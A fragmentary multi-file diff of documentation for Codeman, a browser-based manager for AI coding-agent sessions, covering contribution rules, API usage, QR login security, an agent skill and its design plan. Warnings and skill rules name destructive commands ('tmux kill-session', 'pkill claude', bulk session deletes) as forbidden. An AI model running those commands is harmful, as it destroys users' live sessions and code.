+# Contributing to Codeman
+
+Thanks for wanting to help! Codeman is a small project with a fast loop: issues usually get a response within a day, good PRs get reviewed quickly, and every release credits its contributors and bug reporters by name in the release notes. This guide gets you from clone to merged PR without stepping on the traps.
+
+## The short version
+
+1. **Bugs**: open an issue with your OS, install method (installer / npm / git clone), browser, and which CLI + version the session was running.
+2. **Questions and ideas**: use [Discussions](https://github.com/Ark0N/Codeman/discussions), not issues.
+3. **Small fixes** (docs, typos, a new skin, a translation): just send the PR.
+4. **Anything bigger**: open an issue or Discussion first and get a nod before building. Codeman has strong architectural invariants, and a design chat up front is what turns a big idea into a merged PR instead of a stalled one. This flow works: features like Clone Repo (#236) went idea, then design discussion, then review, then shipped.
+5. **Security issues**: never a public issue. See [SECURITY.md](SECURITY.md).
+
+## Dev setup
+
+Requirements: Node.js 22+ (see `.nvmrc`), tmux, and at least one supported agent CLI on your PATH (Claude Code is the primary one).
+
+```bash
+git clone https://github.com/Ark0N/Codeman.git
+cd Codeman
+npm install        # postinstall builds the vendored xterm addon bundles
+npm run dev        # dev server on http://localhost:3000
+```
+
+The frontend is plain JS served from `src/web/public/` with no bundler in dev: edit a `.js`/`.css` file and reload the page. The one exception is `index.html`, which is read once at server start, so markup changes need a server restart.
+
+## Before you push
+
+CI runs all of these, so save yourself a round trip:
+
+```bash
+npm run typecheck              # tsc --noEmit, strict mode
+npm run lint
+npm run format:check
+npm run check:frontend-syntax  # syntax-checks the plain-JS frontend modules
+```
+
+### Tests
+
+```bash
+npm test                          # the gate — exactly what CI runs
+npm test -- test/<file>.test.ts   # one file
+```
+
+`npm test` is the same suite CI runs, so a green run locally means a green run there. It leaves out three suites that cannot pass on an arbitrary machine, each with its own command:
+
+```bash
+npm run test:browser   # Playwright + chromium (+ a live server; codex-predictive-echo needs a real codex binary)
+npm run test:mobile    # the above plus environment-specific PNG baselines
+npm run test:perf      # wall-clock benchmarks — run on an otherwise idle machine
+npm run test:all       # literally everything, environmental failures included
+```
+
+Expect `test:browser`/`test:mobile`/`test:perf` to fail where the machine cannot provide what they need; read that as "not runnable here", not as a regression. `config/test-suites.ts` holds the globs, and both configs derive from it, so the exclusions and those runners cannot drift apart.
+
+If you add a test that binds a port, pick a unique one at 3150 or above (search the repo for `const PORT =` first). Never 3000.
+
+Tests are tmux-safe by design: under vitest, the tmux layer becomes an in-memory mock, so tests cannot touch real sessions.
+
+## Finding your way around
+
+- Every source file starts with a `@fileoverview` JSDoc block. Read it before diving into the file, it is the map.
+- [`CLAUDE.md`](../CLAUDE.md) at the repo root is the densest architecture primer in the repo. It is written for AI coding agents, but the invariants and gotchas in it apply to humans exactly the same, and most review feedback on PRs traces back to something already written there.
+- Deep mechanisms and the history behind each rule live in [`docs/architecture-invariants.md`](../docs/architecture-invariants.md).
+- Third-party extension surfaces are documented in [`docs/extending-codeman.md`](../docs/extending-codeman.md).
+
+## Great first contributions
+
+These are well-fenced areas where a first PR is genuinely easy to get right:
+
+- **A new theme skin.** A skin is four things kept in sync: the `html[data-skin="…"]` token block in `styles.css`, the xterm ANSI palette in `terminal-ui.js`, the pre-paint allowlist and the settings picker (both in `index.html`). `test/skin-themes.test.ts` statically checks the sync, so if the test passes, your skin works.
+- **A new language.** `src/web/public/i18n.js` is dependency-free, English is the canonical source, and `zh-CN` is a complete example to copy. Add your language's entries and register it in `SUPPORTED_LANGUAGES`.
+- **Docs.** If you got stuck on something and then figured it out, the sentence that would have unstuck you is a PR.
+- Anything labeled [`good first issue`](https://github.com/Ark0N/Codeman/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22).
+
+Bigger extension points worth discussing first: new CLI backends (the pluggable resolver pattern has absorbed six CLIs so far; `docs/extending-codeman.md` and `docs/opencode-integration.md` show the shape), and real-device testing reports, especially mobile, which always find things emulation cannot.
+
+## PR expectations
+
+- **One change per PR.** Small and focused reviews fast; a grab-bag stalls.
+- Target the `master` branch.
+- **Keep your branch mergeable.** A PR with conflicts silently gets no CI runs at all (GitHub quirk), so rebase or merge master when conflicts appear.
+- Include or update tests when you change behavior. Route handlers have a lightweight pattern in `test/routes/` using `app.inject()` (no live server needed).
+- Formatting is Prettier with a deliberately narrow scope (`npm run format`), several frontend files are hand-formatted on purpose and excluded via `.prettierignore`. Don't "fix" a file by adding it back into Prettier's scope.
+- Don't bump versions or touch `CHANGELOG.md`; releases are handled by the maintainer via changesets after merge.
+- AI-assisted contributions are welcome (much of Codeman is built that way), with one condition: you must understand what you're submitting and have actually run it. "The model said it works" is not a test.
+
+## Conduct
+
+Be kind, be direct, assume good faith. Report unacceptable behavior privately via the contact in [SECURITY.md](SECURITY.md).

-## Using Codeman — A Human's Guide
-
-A start-to-finish walkthrough for driving Codeman from the browser. If you just installed, this is where to begin.
-
-### 1. Launch the server
-
-```bash
-codeman web                       # localhost:3000 (loopback only — safe default)
-codeman web --port 8080           # custom port (or set CODEMAN_PORT)
-codeman web --https               # self-signed TLS (only needed for remote access)
-codeman web -H 0.0.0.0            # bind LAN — REQUIRES CODEMAN_PASSWORD (see Security)
-```
-
-Open the printed URL. The page is a single dashboard; everything below happens there.
-
-### 2. Create your first session
-
-Click **+ New Session** (or **Quick Start**). A session is one AI CLI running in its own tmux-backed terminal. You choose:
-
-| Field                        | What it does                                                                                                        |
-| ---------------------------- | ------------------------------------------------------------------------------------------------------------------- |
-| **Working directory / case** | The folder the agent operates in. A "case" is just a named working dir Codeman remembers.                           |
-| **CLI / run mode**           | `Claude` (default), `OpenCode`, `Codex`, `Gemini`, or `Terminal` (plain shell).                                     |
-| **Model**                    | Per-session model (App Settings → Claude Model). A soft default — `/model` still works in-session.                  |
-| **Effort / Ultracode**       | Reasoning effort (`low`–`max`) or `ultracode` for dynamic multi-agent workflows. Switchable anytime with `/effort`. |
-
-Hit start — Codeman spawns the CLI via a real PTY and streams it to your browser over SSE.
-
-### 3. Read the dashboard
-
-- **Tabs (top)** — one per session. `Alt+1`-`9` to jump, `Ctrl+Tab` for next, drag to reorder (tab order syncs across your devices).
-- **Terminal (center)** — a real `xterm.js` terminal; full TUIs render correctly. Type directly and press **Enter** to send. `Shift+Enter` inserts a newline.
-- **Side panels** — Respawn, Ralph, Orchestrator, Cron, Subagents, Settings (toggled from the toolbar).
-
-### 4. Talk to the agent
-
-- **Type prompts** straight into the terminal — input is delivered exactly-once even across reconnects (a dropped link never loses or double-sends a prompt).
-- **Paste or drag-and-drop images** directly into the session.
-- **Voice input** — `Ctrl+Shift+V` (Deepgram Nova-3, with auto-silence stop).
-- **Attachments** — register external files/docs and preview Office/PDF inline.
-
-### 5. Make it autonomous
-

-| **Ralph / Todo** | A self-driving loop that tracks a todo list and keeps working until done.                                                         | Ralph tab                                                           |
-| **Orchestrator** | Turn one goal into a phased plan and drive it to completion across agents.                                                        | Orchestrator panel                                                  |
-| **Cron**         | Saved, named jobs on a schedule (`once`/`interval`/`daily`/`weekly`) that spawn a session and send a prompt when due.             | ⏰ Cron button _(opt-in: App Settings → Display → Header Displays)_ |
-| **Auto-resume**  | Automatically continue after a subscription rate-limit resets.                                                                    | Respawn tab (top)                                                   |

-### 6. Reach it from anywhere
-
-- **Phone/tablet** — the UI is fully touch-optimized; scan the desktop **QR code** to log in without typing a password.
-- **Outside your network** — `./scripts/tunnel.sh start` opens a Cloudflare tunnel (set `CODEMAN_PASSWORD` first).
-- **SSH** — the `sc` chooser attaches to any session from a terminal (`sc` interactive, `sc 2` quick-attach, `sc -l` list).
-
-### 7. Operate & maintain
-
-- **App Settings** — model, effort, permission startup mode, theme/skin, notifications, display toggles, per-CLI options, a synced custom display name, and per-device English/Simplified Chinese UI language.
-- **Self-update** — git-clone installs update in place from **Settings → Updates**.
-- **Deploy your own changes** — see [Development](#development).
-
-> ⚠️ **Safety:** if you're working _inside_ a Codeman-managed session (`echo $CODEMAN_MUX` → `1`), never run `tmux kill-session` / `pkill claude` directly — use the web UI or `./scripts/tmux-manager.sh`.

-- **Keyboard accessory bar** — `/init`, `/clear`, `/compact` quick-action buttons above the virtual keyboard. Destructive commands (`/clear`, `/compact`) require a double-press to confirm — first tap arms the button, second tap executes — so you never fire one by accident on a bumpy commute

It replays the keypress through the terminal, so text buffered by local echo is flushed first rather than stranded. Starting a shell moves into the Run dropdown (`Terminal / Shell`), which is the rarer action
-- **Swipe navigation** — left/right on the terminal to switch sessions (80px threshold, 300ms)
-- **Smart keyboard handling** — toolbar and terminal shift up when keyboard opens (uses `visualViewport` API with 100px threshold for iOS address bar drift)
-- **Safe area support** — respects iPhone notch and home indicator via `env(safe-area-inset-*)`
-- **44px touch targets** — all buttons meet iOS Human Interface Guidelines minimum sizes

+Every tab tells you its state at a glance. A running session keeps its green status dot. When a session stops and waits for input, its tab turns **yellow**: steady ring, tinted background, yellow dot, with a slow breathing glow on top. When a permission prompt or question is **blocking** the agent, the tab turns **red** with a faster pulse. The base tint never blinks off, so even a split-second glance (or a screenshot) reads the true state; the ring stays visible while the tab is selected, and a page reload re-arms pending alerts from the server, so a blocked session can never hide behind a fresh-looking tab.

 ### Notifications
 
 Real-time desktop alerts when sessions need attention — `permission_prompt` and `elicitation_dialog` trigger critical red tab blinks, `idle_prompt` triggers yellow blinks. Click any notification to jump directly to the affected session. Hooks auto-configured per case directory.

 ## More Features
 
-- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)

It preflights the URL while you type (tells you whether it can be cloned anonymously and offers the repo's real branches and tags for the optional branch/tag field), fills the case name in from the URL, and lets you pick which CLI the Run button should use.

One checkbox on **Create New** spins up a container with sensible defaults and starts the agent inside it; multiple sessions share one per-case container; export a container + its workspace to a portable `.tar.gz` to move it to another machine. See [`docs/docker-cases.md`](docs/docker-cases.md)
 - **Remote SSH sessions** — point a case at another machine and run the agent there inside a durable remote tmux: survives SSH drops, auto-reconnects, and can discover + attach sessions already running on the host. See [`docs/remote-sessions.md`](docs/remote-sessions.md)
 - **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too

 For AI agents and automation that control Codeman without a browser: an agent that spins up worker sessions, a CI bot, or **Claude Code running _inside_ a Codeman session orchestrating other sessions**. Everything the UI does is HTTP + a CLI, so an agent can do it too.
 
+### The agent skill (start here)
+
+Everything in this section also ships as a **Claude Code skill** in [`skills/codeman`](skills/codeman/SKILL.md). Install it once and you never paste API docs into a prompt again. You ask for what you want in plain English, and the agent already sitting inside a Codeman session loads the recipes and drives the API itself.
+
+#### Step 1: install it
+
+| How            | Command                                                    | Scope                                                                                      |

+
+`codeman skill uninstall [--case <name>]` reverses the CLI installs, and never touches a `skills/codeman` you wrote yourself.
+
+#### Step 2: ask for things
+
+That is the entire interface. No curl, no endpoint names, no session ids. These prompts work as written:
+
+| You say                                                                                    | The skill does                                                                                           |

+| _"Start a shell worker on the `myapp` case, run the test suite, tell me if it passes."_    | Spawns, waits on a split completion marker, reads back the exit code, cleans up.                          |
+| _"Spin up 3 workers for lint, typecheck and tests. Run them in parallel, report failures."_ | The fan-out flow: one session per task, all started first, then gathered as each finishes.                |
+| _"Have a claude worker on `refactor-auth` summarize `src/session.ts`, then close it."_     | Spawns, runs the readiness ladder (first-run trust dialog included), send-and-wait, reads the clean transcript answer, deletes. |
+| _"Watch session w4 and tell me if it gets stuck on a permission prompt."_                  | Blocks on the `blocked` signal and surfaces the question to **you**. It never answers another session's prompt itself. |
+
+#### Step 3: nothing
+
+The agent deletes every session it started. Watch the tabs appear and disappear in the dashboard while it works.
+
+#### A real run, start to finish
+
+> **You:** spin up 3 shell workers, run lint / typecheck / the frontend syntax check in parallel, and tell me which failed.
+
+```text
+lint       -> 9f2d8e5f   dispatched
+typecheck  -> aff9c691   dispatched     3 tabs appear in the dashboard
+syntax     -> be9f1f15   dispatched
+
+lint         DONE_lint_17909      rc=0
+typecheck    DONE_typecheck_3409  rc=0   gathered as each one finishes
+syntax       DONE_syntax_18501    rc=0
+
+deleted 9f2d8e5f, aff9c691, be9f1f15    tabs disappear
+```
+
+Those `DONE_<task>_<random>` strings are the skill's **split marker** trick, and they are why the fan-out is reliable on hook-less `shell` sessions: the typed line contains `${M}_17909`, so only the command's real *output* ever contains `DONE_17909`. An unsplit marker would match the echo of your own keystrokes before the command had even run.
+
+#### What's in the box
+
+| File                                                                | Contents                                                                                    |

+| [`SKILL.md`](skills/codeman/SKILL.md)                               | Safety rules, the ready-made fast path (spawn N workers, task them, collect), and the verb index. Always loaded. |
+| [`reference/verbs.md`](skills/codeman/reference/verbs.md)           | The 14 verbs in detail: readiness, send-and-wait, markers, interrupts, cleanup. On demand.   |
+| [`reference/recipes.md`](skills/codeman/reference/recipes.md)       | 6 worked multi-worker flows (fan-out, blocked-worker watch, messaging fan-out). On demand.   |
+| [`reference/endpoints.md`](skills/codeman/reference/endpoints.md)   | Full endpoint tables, error codes, per-mode signal table, capacity limits. On demand.        |
+| [`reference/messaging.md`](skills/codeman/reference/messaging.md)   | Talking to claude workers directly via Claude Code cross-session messaging. On demand.       |
+
+Every recipe in there was verified against a live server, and the comments record the failure modes that were measured rather than guessed.
+
+#### Two things worth knowing
+
+- **It self-gates.** Outside a Codeman session (`CODEMAN_MUX` unset) the skill refuses to act and does not guess an API URL, so a global install costs an unrelated Claude Code session nothing.
+- **It is deliberately conservative.** Unprompted, it may only spawn sessions, prompt them, and delete ones **it created in that same conversation, by exact id**, through a fail-closed guard that refuses to delete the agent's own session. Deleting a case (which erases a real directory of your code), bulk kills, respawn/ralph/cron/orchestrator changes and settings writes all require you to ask, naming the target.
+
+⚠️ Turning `agentSkillEnabled` back off **does not remove already-injected copies** (a create-time sweep would yank the skill out from under other live sessions sharing that `.claude/` dir). Remove them per case with `codeman skill uninstall --case <name>`.
+
+---
+
+**The rest of this section is the manual path**: the same operations as raw HTTP, for a CI bot, a shell script, or any agent without skill support.

 ### Rules of the road (read before you POST)
 
-1. **Single-line input only.** Programmatic input is sent as literal text **+ Enter** in one shot. Multi-line strings break the agent TUI (Ink) — send one line, or split into multiple calls.
+1. **Single-line input, ending in `\r`.** Programmatic input is sent as literal text, and Enter fires **only when the input contains a carriage return**: `{"input":"run tests\r"}`. Without the `\r` the text sits on the session's prompt unsubmitted (and a combined `wait` runs its full timeout on a turn that never started). Embedded newlines are stripped rather than rejected, so `"echo A\necho B\r"` runs the joined command `echo Aecho B`: send one line per call.
 2. **Make input idempotent.** Include a stable `clientId` and a monotonic per-session `seq` on `POST …/input`. The server de-duplicates, so a retry after a dropped connection can't double-deliver a prompt.
-3. **Auth.** If `CODEMAN_PASSWORD` is set, send HTTP Basic auth (user `admin` or `CODEMAN_USERNAME`) or a `codeman_session` cookie. The default loopback install is passwordless. A missing `Origin` header is allowed, so plain `curl` works; cross-site browser origins are rejected (CSRF guard).
+3. **Auth.** If `CODEMAN_PASSWORD` is set, send HTTP Basic auth (user `admin` or `CODEMAN_USERNAME`) or a `codeman_session` cookie. The default loopback install is passwordless. A missing `Origin` header is allowed, so plain `curl` works; cross-site browser origins are rejected (CSRF guard). ⚠️ A `401` replies with the bare string `Unauthorized`, **not** the JSON envelope, so piping it into `jq` throws a parse error instead of showing the failure: check the status before parsing.
 4. **Response envelope.** Most endpoints return `{ "success": true, "data": … }` (errors: `{ "success": false, "error", "errorCode" }`). A few legacy GETs return bare bodies — **handle both** (`body.data ?? body`).
 5. **`/api/v1/*`** is a stable alias of `/api/*`.
+6. **Wait instead of polling, and don't treat a timeout as an error.** The wait endpoints answer with HTTP `200` and `wait.timedOut: true` when nothing happened in time, so loop over short waits (60s is the default) rather than issuing one long call, because tunnels cut idle connections. `wait.timeoutMs` tells you the timeout the server actually applied after clamping (600s ceiling).
+7. **Only `claude` sessions emit `stop` and `blocked`.** Those two come from Claude Code hooks; `shell` and the external CLIs (opencode/codex/gemini/antigravity/pi) accept only `idle`, `working` and `exit`. Asking for `stop` explicitly on those is a `400`; omitting `until` is always safe. ⚠️ On a `shell` session `idle` fires **once**, at startup, and never again, so send-and-wait there can only time out; synchronize hook-less sessions with a `wait-output` marker.
+8. **Nothing reports "ready", so wait for it explicitly.** A new session answers `{"signal":"exit","immediate":true}` (that means *not started*, not *crashed*) until its PID exists, and a `claude` worker in a fresh case then sits on the CLI's trust dialog. Prompt it there and the wait resolves on `idle` in ~2s looking exactly like a finished turn, while the text sits stuck in the dialog. Recipe 2b below is the sequence that avoids it.

+### 安全的二维码认证
+
+在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码，手机即刻完成认证。
+
+每个二维码编码的是一个包含 6 字符短码的 URL，该短码在服务端映射到一个 256 位密钥（`crypto.randomBytes(32)`）。令牌每 **60 秒**自动轮换，**首次扫描即原子性消费**（重放永远失败），并采用**基于哈希的 `Map.get()` 查找**，不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
+
+该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025，该研究发现 Top-100 网站中有 47 个存在漏洞）所指出的全部 6 个关键二维码认证缺陷：强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知（QRLjacking 检测），以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制（按 IP + 全局）使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)

-### 安全的二维码认证
-
-在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码，手机即刻完成认证。
-
-每个二维码编码的是一个包含 6 字符短码的 URL，该短码在服务端映射到一个 256 位密钥（`crypto.randomBytes(32)`）。令牌每 **60 秒**自动轮换，**首次扫描即原子性消费**（重放永远失败），并采用**基于哈希的 `Map.get()` 查找**，不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
-
-该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025，该研究发现 Top-100 网站中有 47 个存在漏洞）所指出的全部 6 个关键二维码认证缺陷：强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知（QRLjacking 检测），以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制（按 IP + 全局）使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)

 ### 行路规则（POST 之前先读）
 
-1. **只发单行输入。** 编程输入会作为字面文本 **+ Enter** 一次性发送。多行字符串会破坏智能体 TUI（Ink）—— 发送一行，或拆成多次调用。
+1. **只发单行输入，而且必须以 `\r` 结尾。** 编程输入按字面文本发送，**只有当输入里含回车符时才会触发 Enter**：`{"input":"run tests\r"}`。少了 `\r`，文本就停在会话的输入框里不被提交（同一次调用里的 `wait` 还会在一个压根没开始的回合上耗满整个超时）。内嵌的换行会被剥掉而不是报错，因此 `"echo A\necho B\r"` 执行的是拼起来的 `echo Aecho B`：一次调用只发一行。
 2. **让输入幂等。** 在 `POST …/input` 上带上稳定的 `clientId` 和按会话单调递增的 `seq`。服务端会去重，因此连接中断后的重试不会重复投递提示。
-3. **认证。** 若设置了 `CODEMAN_PASSWORD`，发送 HTTP Basic 认证（用户 `admin` 或 `CODEMAN_USERNAME`）或 `codeman_session` cookie。默认的环回安装无密码。缺失的 `Origin` 头被允许，因此普通 `curl` 可用；跨站的浏览器 origin 会被拒绝（CSRF 防护）。
+3. **认证。** 若设置了 `CODEMAN_PASSWORD`，发送 HTTP Basic 认证（用户 `admin` 或 `CODEMAN_USERNAME`）或 `codeman_session` cookie。默认的环回安装无密码。缺失的 `Origin` 头被允许，因此普通 `curl` 可用；跨站的浏览器 origin 会被拒绝（CSRF 防护）。⚠️ `401` 回的是裸字符串 `Unauthorized`，**不是** JSON 信封，直接喂给 `jq` 只会抛解析错误而看不到真正的失败原因：先看状态码，再解析。
 4. **响应信封。** 多数端点返回 `{ "success": true, "data": … }`（错误：`{ "success": false, "error", "errorCode" }`）。少数遗留 GET 返回裸响应体 —— **两种都要处理**（`body.data ?? body`）。
 5. **`/api/v1/*`** 是 `/api/*` 的稳定别名。
+6. **用等待代替轮询，别把超时当成错误。** 等待类端点在没等到事情发生时也以 HTTP `200` 加 `wait.timedOut: true` 应答，所以要循环调用短等待（默认 60 秒），而不是发一个超长的调用：隧道会掐断空闲连接。`wait.timeoutMs` 告诉你服务端钳制之后真正采用的超时（上限 600 秒）。
+7. **只有 `claude` 会话会发出 `stop` 与 `blocked`。** 这两个来自 Claude Code hook；`shell` 与外部 CLI（opencode/codex/gemini/antigravity/pi）只接受 `idle`、`working` 与 `exit`。在这些模式上显式索要 `stop` 会得到 `400`；不传 `until` 则永远安全。⚠️ `shell` 会话的 `idle` 只在启动时触发**一次**，此后再也不会，所以在那里用「发送并等待」只能等到超时：没有 hook 的会话请用 `wait-output` 标记来同步。
+8. **没有任何东西会报告「就绪」，得自己显式等。** 新会话在 PID 出现之前一律回答 `{"signal":"exit","immediate":true}`（意思是*还没启动*，不是*崩了*），而全新 case 里的 `claude` 工作会话接着会停在 CLI 的信任对话框上。此时给它发提示，等待会在约 2 秒后因 `idle` 解除，看上去和一个跑完的回合一模一样，而文本其实卡在对话框里。下面的配方 2b 就是避开它的顺序。

+# Agent Control Plan: skill packaging + wait primitives
+
+**Status**: steps 1 to 8 DONE and RELEASED. The wait primitives and the skill itself
+(steps 1 to 5) shipped in **1.13.0**; the `codeman skill install` CLI, per-case injection
+and `agentSkillEnabled` (step 6) shipped in **1.14.1** and were republished with fixes in
+**1.14.2**. Steps 1 to 5 were multi-round verified on 2026-08-08, step 6 on 2026-08-09;
+see [§7 Build log](#7-build-log-what-actually-happened) for what shipped, what each
+verification round found, and the two items that genuinely remain open (§2.4's footgun
+guard and the Part 3 deferrals).
+
+**Date**: 2026-08-08
+**Scope**: Part 1 (agent skill) and Part 2 (wait primitives) were specified and built.
+Parts 3 to 5 are captured so they are not lost, but remain deliberately deferred.

+## 0. Where this came from: what herdr does
+
+[herdr](https://github.com/herdrdev/herdr) (Rust, Apache-2.0, ~25.8k stars) is a terminal
+multiplexer built around AI coding agents. Relevant findings from the research pass:
+
+| Capability      | How herdr does it                                                                                                                                                                                                             |

+| Detection       | Lifecycle hooks where the agent supports them (it names Pi and MastraCode), otherwise TOML manifests matched against a live bottom-buffer snapshot. Bundled manifests plus remote updates from herdr.dev, local overrides win |
+| Control API     | Newline-delimited JSON over a Unix socket (`~/.config/herdr/sessions/<name>/herdr.sock`), `{"id":"req_1","method":"pane.split","params":{}}`, dot-notation methods, plus long-lived event subscriptions                       |

+| Agent skill     | `npx skills add herdrdev/herdr --skill herdr -g`, a SKILL.md wrapping the CLI, guarded by `test "${HERDR_ENV:-}" = 1` so an agent outside a herdr pane refuses to act                                                         |
+| Persistence     | Background server, detach with `ctrl+b q`, snapshot restore of workspaces/tabs/panes/cwd/layout, experimental screen-history replay, agent resume via native session ids, live PTY handoff across server replacement          |
+| Plugins         | `herdr-plugin.toml` manifest, actions, event hooks, plugin panes, link handlers, GitHub-topic marketplace index                                                                                                               |

+### The honest comparison
+
+herdr and Codeman are not the same product. herdr is a local, keyboard-first multiplexer with
+no server, no web UI, and no autonomy layer. Codeman is a server with a browser and mobile UI,
+remote and Docker cases, respawn, Ralph, cron, and the orchestrator, none of which herdr has.
+
+What herdr genuinely does better is being **callable by the agent running inside it**. For
+Codeman that is a packaging problem plus one missing primitive, not an architecture problem.

+the two real gaps.
+
+The table is the 2026-08-08 snapshot that motivated the work, kept as written. The three rows
+marked missing are closed since: `GET .../wait` and `GET .../wait-output` shipped in 1.13.0, and
+the skill is packaged at `skills/codeman` (npm tarball included). `blocked` as a wire-contract
+state, and the machine-readable schema, are still open (Parts 3 and 4).
+
+---
+
+## 2. Part 1: the Codeman agent skill
+
+### 2.1 Goal
+
+An agent running inside a Codeman session can discover and correctly drive Codeman without the
+user pasting API docs into the prompt, and without inventing dangerous calls.
+
+### 2.2 Layout and distribution
+
+The `npx skills` CLI (vercel-labs/skills) clones a GitHub repo and looks for
+`skills/<name>/SKILL.md`. Claude Code natively discovers `.claude/skills/<name>/SKILL.md` in a
+project and `~/.claude/skills/` globally. Both are satisfied with one source of truth plus a
+symlink, which is the pattern this repo already uses for `remotion-best-practices`.
+
+```
+skills/
+  codeman/
+    SKILL.md            <- single source of truth
+    reference/
+      endpoints.md      <- full endpoint tables, loaded on demand
+      recipes.md        <- worked multi-session orchestration examples
+.claude/skills/codeman -> ../../skills/codeman     (symlink, dogfooding in this repo)
+```
+
+Adding a `skills/` directory to the repo root costs one entry in the GitHub listing. CLAUDE.md
+keeps the root short on purpose, so this needs a conscious sign-off; the alternative is
+`docs/skills/codeman/` with a `--skill` path argument, which breaks the one-liner install.
+**Recommendation**: accept `skills/` at the root, because the install one-liner is the whole
+point of shipping a skill.
+
+Install paths, in order of how a user gets it:
+
+1. `npx skills add Ark0N/Codeman --skill codeman -g` (global, any agent, matches the herdr flow).
+2. `codeman skill install [--global | --case <name>]`, a new CLI subcommand writing the same
+   file. This is the path for users who installed via npm and never cloned the repo.
+3. **Automatic per-case injection**, modeled exactly on `applyStatusLineConfig(casePath, enabled)`
+   in `hooks-config.ts`: write `<case>/.claude/skills/codeman/SKILL.md` at case creation,
+   gated on a new setting. Codeman already writes `<case>/.claude/settings.local.json` hooks
+   through `writeHooksConfig()`, so this is the same mechanism with the same lifecycle.
+
+Setting name: `agentSkillEnabled`. Synced (not per-device), since it changes on-disk case
+content rather than display. Default: **ON after the dogfooding phase, OFF in the first
+release**. Rationale for starting OFF: Claude Code loads every skill's name and description
+into context on every turn, so an always-on skill has a small permanent token cost, and we
+should measure that we are buying something with it first.
+
+### 2.3 SKILL.md content
+
+Frontmatter, per the skills convention (`name` + `description` required):
+
+```yaml
+---
+name: codeman
+description: >-
+  Control Codeman, the session manager this agent is running inside: list sessions,
+  start worker sessions, send prompts, read terminal output, and wait for other agents
+  to finish. Only usable when CODEMAN_MUX=1.
+---
+```
+
+Body sections, in order:
+
+**1. Guard (first thing, non-negotiable).**
+
+```bash
+test "${CODEMAN_MUX:-}" = 1 || { echo "not inside a Codeman session"; exit 1; }
+API="${CODEMAN_API_URL:?CODEMAN_API_URL not set, refusing to guess}"
+SELF="${CODEMAN_SESSION_ID:-}"
+```
+
+If `CODEMAN_MUX` is not `1`, the agent must stop and say it is not running inside a
+Codeman-managed session. Same shape as herdr's `HERDR_ENV` guard, and the variables are
+already exported by `tmux-manager.buildEnvExports()`. No fallback URL when
+`CODEMAN_API_URL` is unset: any guess is the wrong scheme on an HTTPS install (prod is
+HTTPS with a self-signed cert, hence `curl -sk` throughout), and a server the agent
+cannot identify is not one it should be driving.
+
+**2. Rules of the road.** Lifted and tightened from README lines 666 to 745:
+
+- Single-line input only. Multi-line breaks the agent TUI (Ink).
+- Always send `clientId` + a monotonic `seq` on `POST .../input` so a retry cannot double-deliver.
+- Envelope is `{success, data}`; a few legacy GETs are bare, so read `body.data ?? body`.
+- Add `-u admin:"$CODEMAN_PASSWORD"` when a password is set. Prod is HTTPS, so `curl -sk`.
+- Prefer `/api/v1/*`, the stable alias.
+
+**3. Safety rules (the section that does not exist anywhere today).**
+
+- Never act on `$CODEMAN_SESSION_ID`. That is you.
+- Only `DELETE` sessions **you created in this conversation**, by exact id. Keep the list.
+- Never bulk-delete, never loop a `DELETE` over `/api/sessions`. There is no undo.
+- Never `tmux kill-session`, `pkill tmux`, `pkill claude`. Use the API.
+- Creating a session consumes a slot against the 50-session cap. Clean up what you start.
+
+**4. Recipes**, each one a single copy-pasteable curl:
+
+| Task                 | Call                                                                                                                                                                    |

+| start a worker       | `POST /api/v1/quick-start {caseName, mode, effort}`                                                                                                                     |

+**5. Pointer to `reference/endpoints.md`** for anything not in the table, so the always-loaded
+part of the skill stays small.
+
+### 2.4 An ergonomics guard worth adding server-side
+
+The skill will tell the agent not to act on itself, but a confused agent can still try. Propose:
+the skill sends `X-Codeman-Caller-Session: $CODEMAN_SESSION_ID` on every request, and the server
+refuses destructive operations (`DELETE /api/sessions/:id`, kill, respawn stop) when that header
+equals the target id, with a clear error.
+
+This is a **footgun guard, not a security control**: any caller can omit the header. Document it
+as such so nobody mistakes it for a boundary. It costs about 10 lines in `route-helpers.ts`.
+
+### 2.5 Verification
+
+Per the always-end-to-end-test rule, "the skill exists" is not done. Done is:
+
+1. Symlink it into `.claude/skills/`, start a real throwaway Codeman session, and ask that agent
+   to "start a worker session that runs the test suite and tell me when it finishes".
+2. Confirm from the outside that exactly one new session appeared, got the prompt, and that the
+   lead agent waited rather than polling in a busy loop.
+3. Confirm the guard: run the same prompt in a shell with `CODEMAN_MUX` unset and confirm refusal.
+4. Confirm cleanup: the worker session is deleted by exact id and no other session was touched.
+
+Never run this against `w1`/`w2`/`w3`.

+## 3. Part 2: wait primitives
+
+### 3.1 Goal
+
+Make Codeman orchestratable from a shell tool. Today the only "tell me when" channel is SSE,
+which a curl-driven agent cannot practically consume: it would have to hold a streaming
+connection and parse events inline. herdr solves this with blocking CLI calls. Codeman should
+solve it with bounded long-poll endpoints.
+
+All three additions are **additive**, so the versioning policy stays intact (new endpoints and
+new optional fields are non-breaking).
+
+### 3.2 The signal model
+
